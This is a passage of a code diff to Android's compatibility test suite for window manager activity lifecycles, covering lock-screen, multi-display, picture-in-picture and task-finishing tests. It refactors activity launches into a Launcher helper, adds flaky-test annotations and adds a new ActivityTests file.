         // Lock screen removed - activity should be on top now
-        waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+        waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
         LifecycleVerifier.assertStopToResumeSequence(CallbackTrackingActivity.class,
                 getLifecycleLog());
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testTopPositionRemovedBehindLockScreen() throws Exception {
         assumeTrue(supportsSecureLock());
 
-        final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+        final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         getLifecycleLog().clear();
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
@@ -710,6 +694,7 @@
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testTopPositionLaunchedOnTopOfLockScreen() throws Exception {
         assumeTrue(supportsSecureLock());
 
@@ -717,9 +702,8 @@
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.setLockCredential().gotoKeyguard();
 
-            showWhenLockedActivity = mShowWhenLockedCallbackTrackingActivityTestRule.launchActivity(
-                    new Intent());
-            waitAndAssertActivityStates(state(showWhenLockedActivity, ON_TOP_POSITION_GAINED));
+            showWhenLockedActivity =
+                    launchActivityAndWait(ShowWhenLockedCallbackTrackingActivity.class);
 
             // TODO(b/123432490): Fix extra pause/resume
             LifecycleVerifier.assertSequence(ShowWhenLockedCallbackTrackingActivity.class,
@@ -741,15 +725,17 @@
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testTopPositionSwitchAcrossDisplays() throws Exception {
         assumeTrue(supportsMultiDisplay());
 
         // Launch activity on default display.
         final ActivityOptions launchOptions = ActivityOptions.makeBasic();
         launchOptions.setLaunchDisplayId(DEFAULT_DISPLAY);
-        final Intent defaultDisplayIntent = new Intent(mContext, CallbackTrackingActivity.class);
-        defaultDisplayIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);
-        mTargetContext.startActivity(defaultDisplayIntent, launchOptions.toBundle());
+        new Launcher(CallbackTrackingActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK)
+                .setOptions(launchOptions)
+                .launch();
 
         waitAndAssertTopResumedActivity(getComponentName(CallbackTrackingActivity.class),
                 DEFAULT_DISPLAY, "Activity launched on default display must be focused");
@@ -764,9 +750,10 @@
             // Launch another activity on new secondary display.
             getLifecycleLog().clear();
             launchOptions.setLaunchDisplayId(newDisplay.mId);
-            final Intent newDisplayIntent = new Intent(mContext, SingleTopActivity.class);
-            newDisplayIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);
-            mTargetContext.startActivity(newDisplayIntent, launchOptions.toBundle());
+            new Launcher(SingleTopActivity.class)
+                    .setFlags(FLAG_ACTIVITY_NEW_TASK)
+                    .setOptions(launchOptions)
+                    .launch();
             waitAndAssertTopResumedActivity(getComponentName(SingleTopActivity.class),
                     newDisplay.mId, "Activity launched on secondary display must be focused");
 
@@ -797,9 +784,10 @@
         // Launch activity on default display.
         final ActivityOptions launchOptions = ActivityOptions.makeBasic();
         launchOptions.setLaunchDisplayId(DEFAULT_DISPLAY);
-        final Intent defaultDisplayIntent = new Intent(mContext, CallbackTrackingActivity.class);
-        defaultDisplayIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);
-        mTargetContext.startActivity(defaultDisplayIntent, launchOptions.toBundle());
+        new Launcher(CallbackTrackingActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK)
+                .setOptions(launchOptions)
+                .launch();
 
         waitAndAssertTopResumedActivity(getComponentName(CallbackTrackingActivity.class),
                 DEFAULT_DISPLAY, "Activity launched on default display must be focused");
@@ -812,9 +800,10 @@
             // Launch another activity on new secondary display.
             getLifecycleLog().clear();
             launchOptions.setLaunchDisplayId(newDisplay.mId);
-            final Intent newDisplayIntent = new Intent(mContext, SingleTopActivity.class);
-            newDisplayIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);
-            mTargetContext.startActivity(newDisplayIntent, launchOptions.toBundle());
+            new Launcher(SingleTopActivity.class)
+                    .setFlags(FLAG_ACTIVITY_NEW_TASK)
+                    .setOptions(launchOptions)
+                    .launch();
             waitAndAssertTopResumedActivity(getComponentName(SingleTopActivity.class),
                     newDisplay.mId, "Activity launched on secondary display must be focused");
 
@@ -863,7 +852,7 @@
             final Class<? extends Activity> secondActivityClass =
                     SecondProcessCallbackTrackingActivity.class;
             final ComponentName secondActivityComponent =
-                    new ComponentName(getTargetContext(), secondActivityClass);
+                    new ComponentName(mTargetContext, secondActivityClass);
 
             getLaunchActivityBuilder()
                     .setTargetActivity(secondActivityComponent)
@@ -933,7 +922,7 @@
             final Class<? extends Activity> secondActivityClass =
                     SecondProcessCallbackTrackingActivity.class;
             final ComponentName secondActivityComponent =
-                    new ComponentName(getTargetContext(), secondActivityClass);
+                    new ComponentName(mTargetContext, secondActivityClass);
 
             getLaunchActivityBuilder()
                     .setTargetActivity(secondActivityComponent)
@@ -988,25 +977,131 @@
         }
     }
 
+    @FlakyTest(bugId=137329632)
     @Test
+    public void testFinishOnDifferentDisplay_nonFocused() throws Exception {
+        assumeTrue(supportsMultiDisplay());
+
+        // Launch activity on some display.
+        final Activity callbackTrackingActivity =
+                launchActivityAndWait(CallbackTrackingActivity.class);
+
+        waitAndAssertTopResumedActivity(getComponentName(CallbackTrackingActivity.class),
+                DEFAULT_DISPLAY, "Activity launched on default display must be focused");
+
+        try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+            // Create new simulated display
+            final ActivityManagerState.ActivityDisplay newDisplay
+                    = virtualDisplaySession.setSimulateDisplay(true).createDisplay();
+
+            // Launch another activity on new secondary display.
+            getLifecycleLog().clear();
+            final ActivityOptions launchOptions = ActivityOptions.makeBasic();
+            launchOptions.setLaunchDisplayId(newDisplay.mId);
+            new Launcher(SingleTopActivity.class)
+                    .setFlags(FLAG_ACTIVITY_NEW_TASK)
+                    .setOptions(launchOptions)
+                    .launch();
+            waitAndAssertTopResumedActivity(getComponentName(SingleTopActivity.class),
+                    newDisplay.mId, "Activity launched on secondary display must be focused");
+            // An activity is launched on the new display, so the activity on default display should
+            // lose the top state.
+            LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+                    Arrays.asList(ON_TOP_POSITION_LOST), "launchFocusSwitch");
+
+            // Finish the activity on the default display
+            getLifecycleLog().clear();
+            callbackTrackingActivity.finish();
+
+            // Verify that activity was actually destroyed
+            waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_DESTROY));
+            // Verify that the original focused display is not affected by the finished activity on
+            // non-focused display.
+            LifecycleVerifier.assertEmptySequence(SingleTopActivity.class, getLifecycleLog(),
+                    "destructionOnDifferentDisplay");
+        }
+    }
+
+    @FlakyTest(bugId=137329632)
+    @Test
+    public void testFinishOnDifferentDisplay_focused() throws Exception {
+        assumeTrue(supportsMultiDisplay());
+
+        // Launch activity on some display.
+        final Activity bottomActivity = launchActivityAndWait(SecondActivity.class);
+        final Activity callbackTrackingActivity =
+                launchActivityAndWait(CallbackTrackingActivity.class);
+
+        waitAndAssertTopResumedActivity(getComponentName(CallbackTrackingActivity.class),
+                DEFAULT_DISPLAY, "Activity launched on default display must be focused");
+
+        try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+            // Create new simulated display
+            final ActivityManagerState.ActivityDisplay newDisplay
+                    = virtualDisplaySession.setSimulateDisplay(true).createDisplay();
+
+            // Launch another activity on new secondary display.
+            getLifecycleLog().clear();
+            final ActivityOptions launchOptions = ActivityOptions.makeBasic();
+            launchOptions.setLaunchDisplayId(newDisplay.mId);
+            new Launcher(SingleTopActivity.class)
+                    .setFlags(FLAG_ACTIVITY_NEW_TASK)
+                    .setOptions(launchOptions)
+                    .launch();
+            waitAndAssertTopResumedActivity(getComponentName(SingleTopActivity.class),
+                    newDisplay.mId, "Activity launched on secondary display must be focused");
+
+            // Bring the focus back
+            final Intent sameInstanceIntent = new Intent(mContext, CallbackTrackingActivity.class);
+            sameInstanceIntent.setFlags(FLAG_ACTIVITY_REORDER_TO_FRONT);
+            bottomActivity.startActivity(sameInstanceIntent, null);
+            waitAndAssertActivityStates(
+                    state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
+
+            // Finish the focused activity
+            getLifecycleLog().clear();
+            callbackTrackingActivity.finish();
+
+            // Verify that lifecycle of the activity on a different display did not change.
+            // Top resumed state will be given to home activity on that display.
+            waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_DESTROY),
+                    state(SecondActivity.class, ON_RESUME));
+            LifecycleVerifier.assertEmptySequence(SingleTopActivity.class, getLifecycleLog(),
+                    "destructionOnDifferentDisplay");
+        }
+    }
+
+    @Test
+    @FlakyTest(bugId=127741025)
     public void testTopPositionNotSwitchedToPip() throws Exception {
         assumeTrue(supportsPip());
 
         // Launch first activity
-        final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
+        final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Clear the log before launching to Pip
-        waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
         getLifecycleLog().clear();
 
         // Launch Pip-capable activity and enter Pip immediately
-        final Activity pipActivity = mPipActivityTestRule.launchActivity(
-                new Intent().putExtra(EXTRA_ENTER_PIP, true));
+        final Activity pipActivity = new Launcher(PipActivity.class)
+                .setExtraFlags(EXTRA_ENTER_PIP)
+                .setExpectedState(ON_PAUSE)
+                .launch();
 
-        // Wait and assert lifecycle
-        waitAndAssertActivityStates(state(pipActivity, ON_PAUSE));
-        // PipMenuActivity will start and briefly get the top position, so we ignore the rest
-        // of the possibilities.
+        // The PipMenuActivity could start anytime after moving pipActivity to pinned stack,
+        // however, we cannot control when would it start or finish, so this test could fail when
+        // PipMenuActivity just start and pipActivity call finish almost at the same time.
+        // So the strategy here is to wait the PipMenuActivity start and finish after pipActivity
+        // moved to pinned stack and paused, because pipActivity is not focusable but the
+        // PipMenuActivity is focusable, when the pinned stack gain top focus means the
+        // PipMenuActivity is launched and resumed, then when pinned stack lost top focus means the
+        // PipMenuActivity is finished.
+        mAmWmState.waitWindowingModeTopFocus(WINDOWING_MODE_PINNED, true /* topFocus */
+                , "wait PipMenuActivity get top focus");
+        mAmWmState.waitWindowingModeTopFocus(WINDOWING_MODE_PINNED, false /* topFocus */
+                , "wait PipMenuActivity lost top focus");
+        waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+
         LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
                 transition(CallbackTrackingActivity.class, ON_PAUSE),
@@ -1030,27 +1125,24 @@
         assumeTrue(supportsPip());
 
         // Launch first activity
-        final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
+        final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Clear the log before launching to Pip
-        waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
         getLifecycleLog().clear();
 
         // Launch Pip-capable activity and enter Pip immediately
-        final Activity pipActivity = mPipActivityTestRule.launchActivity(
-                new Intent().putExtra(EXTRA_ENTER_PIP, true));
-
-        // Wait and assert lifecycle
-        waitAndAssertActivityStates(state(pipActivity, ON_PAUSE));
+        final Activity pipActivity = new Launcher(PipActivity.class)
+                .setExtraFlags(EXTRA_ENTER_PIP)
+                .setExpectedState(ON_PAUSE)
+                .launch();
 
         // Launch always focusable activity into PiP
 
         // Notice that do not clear the lifecycle log here, because it may clear the event
         // ON_TOP_POSITION_LOST of CallbackTrackingActivity if PipMenuActivity is started earlier.
-        final Activity alwaysFocusableActivity = mAlwaysFocusableActivityTestRule.launchActivity(
-                new Intent());
+        final Activity alwaysFocusableActivity =
+                launchActivityAndWait(AlwaysFocusablePipActivity.class);
         waitAndAssertActivityStates(state(pipActivity, ON_STOP),
-                state(alwaysFocusableActivity, ON_TOP_POSITION_GAINED),
                 state(activity, ON_TOP_POSITION_LOST));
         LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
                 transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
index b6fb802..6f13f41 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
@@ -21,22 +21,27 @@
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_PREVIOUS_IS_TOP;
+import static android.content.Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED;
 import static android.content.Intent.FLAG_ACTIVITY_SINGLE_TOP;
 import static android.server.wm.ActivityManagerState.STATE_DESTROYED;
 import static android.server.wm.ActivityManagerState.STATE_RESUMED;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.app.Components.ALIAS_TEST_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESUME;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
 import android.content.ComponentName;
 import android.content.Intent;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
+
+import androidx.test.filters.FlakyTest;
+
 import android.server.wm.ActivityLauncher;
 
 import org.junit.Test;
@@ -46,6 +51,7 @@
  *     atest CtsWindowManagerDeviceTestCases:ActivityStarterTests
  */
 @Presubmit
+@android.server.wm.annotation.Group3
 public class ActivityStarterTests extends ActivityLifecycleClientTestBase {
 
     private static final ComponentName STANDARD_ACTIVITY
@@ -76,17 +82,19 @@
     @Test
     public void testClearTopNewTaskResetTask() throws Exception {
         // Start activity normally
-        final Activity initialActivity = mFirstActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(initialActivity, ON_RESUME));
+        launchActivityAndWait(FirstActivity.class);
 
         // Navigate home
         launchHomeActivity();
+        waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
+        getLifecycleLog().clear();
 
         // Start activity again with flags in question. Verify activity is resumed.
-        final Intent intent = new Intent().addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP
-                | Intent.FLAG_ACTIVITY_NEW_TASK
-                | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);
-        final Activity secondLaunchActivity = mFirstActivityTestRule.launchActivity(intent);
+        // A new instance of activity will be created, and the old one destroyed.
+        final Activity secondLaunchActivity = new Launcher(FirstActivity.class)
+                .setFlags(FLAG_ACTIVITY_CLEAR_TOP | FLAG_ACTIVITY_NEW_TASK
+                        | FLAG_ACTIVITY_RESET_TASK_IF_NEEDED)
+                .launch();
         mAmWmState.waitForActivityState(secondLaunchActivity.getComponentName(), STATE_RESUMED);
         assertEquals("The activity should be started and be resumed",
                 getActivityName(secondLaunchActivity.getComponentName()),
@@ -233,7 +241,7 @@
 
         // Launch a single task activity again.
         launchActivity(SINGLE_TASK_ACTIVITY);
-        mAmWmState.waitForActivityState(SECOND_STANDARD_ACTIVITY, STATE_DESTROYED);
+        mAmWmState.waitForActivityRemoved(SECOND_STANDARD_ACTIVITY);
 
         // Make sure the number of instances for single task activity is only one.
         assertEquals("Instance of single task activity in its task must be only one", 1,
@@ -354,11 +362,9 @@
                 mAmWmState.getAmState().getTaskByActivity(STANDARD_ACTIVITY).getTaskId());
         // Make sure the second standard activity is finished.
         final String waitFinishMsg = "Instance of second standard activity must not exist";
-        mAmWmState.waitForWithAmState((amState) ->
-            0 == amState.getActivityCountInTask(taskId, SECOND_STANDARD_ACTIVITY),
-            waitFinishMsg);
-        assertEquals(waitFinishMsg, 0,
-            mAmWmState.getAmState().getActivityCountInTask(taskId, SECOND_STANDARD_ACTIVITY));
+        assertTrue(waitFinishMsg, mAmWmState.waitForWithAmState(
+                amState -> 0 == amState.getActivityCountInTask(taskId, SECOND_STANDARD_ACTIVITY),
+                waitFinishMsg));
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
new file mode 100644
index 0000000..c0cc598
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
@@ -0,0 +1,286 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.lifecycle;
+
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_DESTROY;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_PAUSE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESTART;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESUME;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_START;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
+import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+
+import android.app.Activity;
+import android.platform.test.annotations.Presubmit;
+
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.MediumTest;
+
+import org.junit.Test;
+
+import java.util.Arrays;
+
+/**
+ * Tests for {@link Activity} class APIs.
+ *
+ * Build/Install/Run:
+ *      atest CtsWindowManagerDeviceTestCases:ActivityTests
+ */
+@Presubmit
+@MediumTest
+@android.server.wm.annotation.Group3
+public class ActivityTests extends ActivityLifecycleClientTestBase {
+    @Test
+    public void testReleaseActivityInstance_visible() throws Exception {
+        final Activity activity = launchActivityAndWait(FirstActivity.class);
+        waitAndAssertActivityStates(state(activity, ON_RESUME));
+
+        getLifecycleLog().clear();
+        assertFalse("Launched and visible activity must be released", activity.releaseInstance());
+        LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(),
+                "tryReleaseInstance");
+    }
+
+    @Test
+    public void testReleaseActivityInstance_invisible() throws Exception {
+        // Launch two activities - second one to cover the first one and make it invisible.
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
+        waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
+                state(firstActivity, ON_STOP));
+        // Wait for activity to report saved state to the server.
+        getInstrumentation().waitForIdleSync();
+
+        // Release the instance of the non-visible activity below.
+        getLifecycleLog().clear();
+        assertTrue("It must be possible to release an instance of an invisible activity",
+                firstActivity.releaseInstance());
+        waitAndAssertActivityStates(state(firstActivity, ON_DESTROY));
+        LifecycleVerifier.assertEmptySequence(SecondActivity.class, getLifecycleLog(),
+                "releaseInstance");
+
+        // Finish the top activity to navigate back to the first one and re-create it.
+        getLifecycleLog().clear();
+        secondActivity.finish();
+        waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
+        LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
+    }
+
+    /**
+     * Verify that {@link Activity#finishAndRemoveTask()} removes all activities in task if called
+     * for root of task.
+     */
+    @FlakyTest(bugId=137329632)
+    @Test
+    public void testFinishTask_FromRoot() throws Exception {
+        final Class<? extends Activity> rootActivityClass = CallbackTrackingActivity.class;
+        final Activity rootActivity = launchActivityAndWait(rootActivityClass);
+        final Class<? extends Activity> topActivityClass = SecondCallbackTrackingActivity.class;
+        final Activity topActivity = launchActivityAndWait(topActivityClass);
+        waitAndAssertActivityStates(state(rootActivity, ON_STOP),
+                state(topActivity, ON_TOP_POSITION_GAINED));
+
+        getLifecycleLog().clear();
+        rootActivity.finishAndRemoveTask();
+
+        waitAndAssertActivityStates(state(rootActivity, ON_DESTROY),
+                state(topActivity, ON_DESTROY));
+        // Cannot guarantee exact sequence among top and bottom activities, so verifying
+        // independently
+        LifecycleVerifier.assertSequence(rootActivityClass, getLifecycleLog(),
+                Arrays.asList(ON_DESTROY), "finishAndRemoveTask");
+        LifecycleVerifier.assertSequence(topActivityClass, getLifecycleLog(),
+                Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY),
+                "finishAndRemoveTask");
+    }
+
+    /**
+     * Verify that {@link Activity#finishAndRemoveTask()} removes all activities in task if called
+     * for root of task. This version verifies lifecycle when top activity is translucent
+     */
+    @FlakyTest(bugId=137329632)
+    @Test
+    public void testFinishTask_FromRoot_TranslucentOnTop() throws Exception {
+        final Class<? extends Activity> rootActivityClass = CallbackTrackingActivity.class;
+        final Activity rootActivity = launchActivityAndWait(rootActivityClass);
+        final Class<? extends Activity> topActivityClass =
+                TranslucentCallbackTrackingActivity.class;
+        final Activity topActivity = launchActivityAndWait(topActivityClass);
+        waitAndAssertActivityStates(state(rootActivity, ON_PAUSE),
+                state(topActivity, ON_TOP_POSITION_GAINED));
+
+        getLifecycleLog().clear();
+        rootActivity.finishAndRemoveTask();
+
+        waitAndAssertActivityStates(state(rootActivity, ON_DESTROY),
+                state(topActivity, ON_DESTROY));
+        // Cannot guarantee exact sequence among top and bottom activities, so verifying
+        // independently
+        LifecycleVerifier.assertSequence(rootActivityClass, getLifecycleLog(),
+                Arrays.asList(ON_STOP, ON_DESTROY), "finishAndRemoveTask");
+        LifecycleVerifier.assertSequence(topActivityClass, getLifecycleLog(),
+                Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY),
+                "finishAndRemoveTask");
+    }
+
+    /**
+     * Verify that {@link Activity#finishAndRemoveTask()} only removes one activity in task if
+     * called not for root of task.
+     */
+    @FlakyTest(bugId=137329632)
+    @Test
+    public void testFinishTask_NotFromRoot() throws Exception {
+        final Class<? extends Activity> rootActivityClass = CallbackTrackingActivity.class;
+        final Activity rootActivity = launchActivityAndWait(rootActivityClass);
+        final Class<? extends Activity> midActivityClass = SecondActivity.class;
+        final Activity midActivity = launchActivityAndWait(midActivityClass);
+        final Class<? extends Activity> topActivityClass = SecondCallbackTrackingActivity.class;
+        final Activity topActivity = launchActivityAndWait(topActivityClass);
+        waitAndAssertActivityStates(state(rootActivity, ON_STOP), state(midActivity, ON_STOP),
+                state(topActivity, ON_TOP_POSITION_GAINED));
+
+        getLifecycleLog().clear();
+        midActivity.finishAndRemoveTask();
+
+        waitAndAssertActivityStates(state(midActivity, ON_DESTROY));
+        LifecycleVerifier.assertEntireSequence(Arrays.asList(
+                transition(midActivityClass, ON_DESTROY)), getLifecycleLog(),
+                "finishAndRemoveTask");
+    }
+
+    /**
+     * Verify the lifecycle of {@link Activity#finishAfterTransition()} for activity that has a
+     * transition set.
+     */
+    @FlakyTest(bugId=137329632)
+    @Test
+    public void testFinishAfterTransition() throws Exception {
+        final TransitionSourceActivity rootActivity =
+                (TransitionSourceActivity) launchActivityAndWait(TransitionSourceActivity.class);
+        waitAndAssertActivityStates(state(rootActivity, ON_RESUME));
+
+        // Launch activity with configured shared element transition. It will call
+        // finishAfterTransition() on its own after transition completes.
+        rootActivity.runOnUiThread(() -> rootActivity.launchActivityWithTransition());
+        waitAndAssertActivityStates(state(TransitionDestinationActivity.class, ON_DESTROY),
+                state(rootActivity, ON_RESUME));
+        LifecycleVerifier.assertLaunchAndDestroySequence(TransitionDestinationActivity.class,
+                getLifecycleLog());
+    }
+
+    /**
+     * Verify the lifecycle of {@link Activity#finishAfterTransition()} for activity with no
+     * transition set (root of task).
+     */
+    @Test
+    public void testFinishAfterTransition_noTransition_rootOfTask() throws Exception {
+        final Activity activity = launchActivityAndWait(FirstActivity.class);
+        waitAndAssertActivityStates(state(activity, ON_RESUME));
+
+        getLifecycleLog().clear();
+        activity.finishAfterTransition();
+        waitAndAssertActivityStates(state(FirstActivity.class, ON_DESTROY));
+        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+                Arrays.asList(ON_PAUSE, ON_STOP, ON_DESTROY), "finishAfterTransition");
+    }
+
+    /**
+     * Verify the lifecycle of {@link Activity#finishAfterTransition()} for activity with no
+     * transition set.
+     */
+    @FlakyTest(bugId=137329632)
+    @Test
+    public void testFinishAfterTransition_noTransition() throws Exception {
+        final Activity rootActivity = launchActivityAndWait(FirstActivity.class);
+        final Activity topActivity = launchActivityAndWait(SecondActivity.class);
+        waitAndAssertActivityStates(state(topActivity, ON_RESUME), state(rootActivity, ON_STOP));
+
+        getLifecycleLog().clear();
+        topActivity.finishAfterTransition();
+        waitAndAssertActivityStates(state(SecondActivity.class, ON_DESTROY));
+        LifecycleVerifier.assertSequence(SecondActivity.class, getLifecycleLog(),
+                Arrays.asList(ON_PAUSE, ON_STOP, ON_DESTROY), "finishAfterTransition");
+    }
+
+    /**
+     * Verify that {@link Activity#finishAffinity()} will finish all activities with the same
+     * affinity below the target activity.
+     */
+    @Test
+    public void testFinishAffinity() throws Exception {
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
+        final Activity thirdActivity = launchActivityAndWait(ThirdActivity.class);
+        waitAndAssertActivityStates(state(thirdActivity, ON_RESUME), state(secondActivity, ON_STOP),
+                state(firstActivity, ON_STOP));
+
+        getLifecycleLog().clear();
+        secondActivity.finishAffinity();
+        waitAndAssertActivityStates(state(FirstActivity.class, ON_DESTROY),
+                state(SecondActivity.class, ON_DESTROY));
+        LifecycleVerifier.assertEmptySequence(ThirdActivity.class, getLifecycleLog(),
+                "finishAffinityBelow");
+    }
+
+    /**
+     * Verify that {@link Activity#finishAffinity()} will not finish activities with different
+     * affinities in the same task.
+     */
+    @Test
+    public void testFinishAffinity_differentAffinity() throws Exception {
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+        final Activity differentAffinityActivity =
+                launchActivityAndWait(DifferentAffinityActivity.class);
+        waitAndAssertActivityStates(state(differentAffinityActivity, ON_RESUME),
+                state(firstActivity, ON_STOP));
+
+        getLifecycleLog().clear();
+        differentAffinityActivity.finishAffinity();
+        waitAndAssertActivityStates(state(DifferentAffinityActivity.class, ON_DESTROY));
+        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+                Arrays.asList(ON_RESTART, ON_START, ON_RESUME), "finishAffinity");
+    }
+
+    /**
+     * Verify that {@link Activity#finishAffinity()} will not finish activities with the same
+     * affinity in different tasks.
+     */
+    @Test
+    public void testFinishAffinity_multiTask() throws Exception {
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+        // Launch activity in a new task
+        final Activity secondActivity = new Launcher(SecondActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+        waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
+                state(firstActivity, ON_STOP));
+
+        getLifecycleLog().clear();
+        secondActivity.finishAffinity();
+        waitAndAssertActivityStates(state(SecondActivity.class, ON_DESTROY),
+                state(firstActivity, ON_RESUME));
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
index 32df6b7..2aecea9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
@@ -72,6 +72,14 @@
                 : Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_RESUME);
     }
 
+    static List<ActivityCallback> getLaunchAndDestroySequence(
+            Class<? extends Activity> activityClass) {
+        final List<ActivityCallback> expectedTransitions = new ArrayList<>();
+        expectedTransitions.addAll(getLaunchSequence(activityClass));
+        expectedTransitions.addAll(getResumeToDestroySequence(activityClass));
+        return expectedTransitions;
+    }
+
     static void assertLaunchSequence(Class<? extends Activity> launchingActivity,
             Class<? extends Activity> existingActivity, LifecycleLog lifecycleLog,
             boolean launchingIsTranslucent) {
diff --git a/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
index e9341cb..2e3446f 100644
--- a/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
@@ -20,6 +20,7 @@
     <!-- These tests require targeting API 25 which does not support instant apps -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
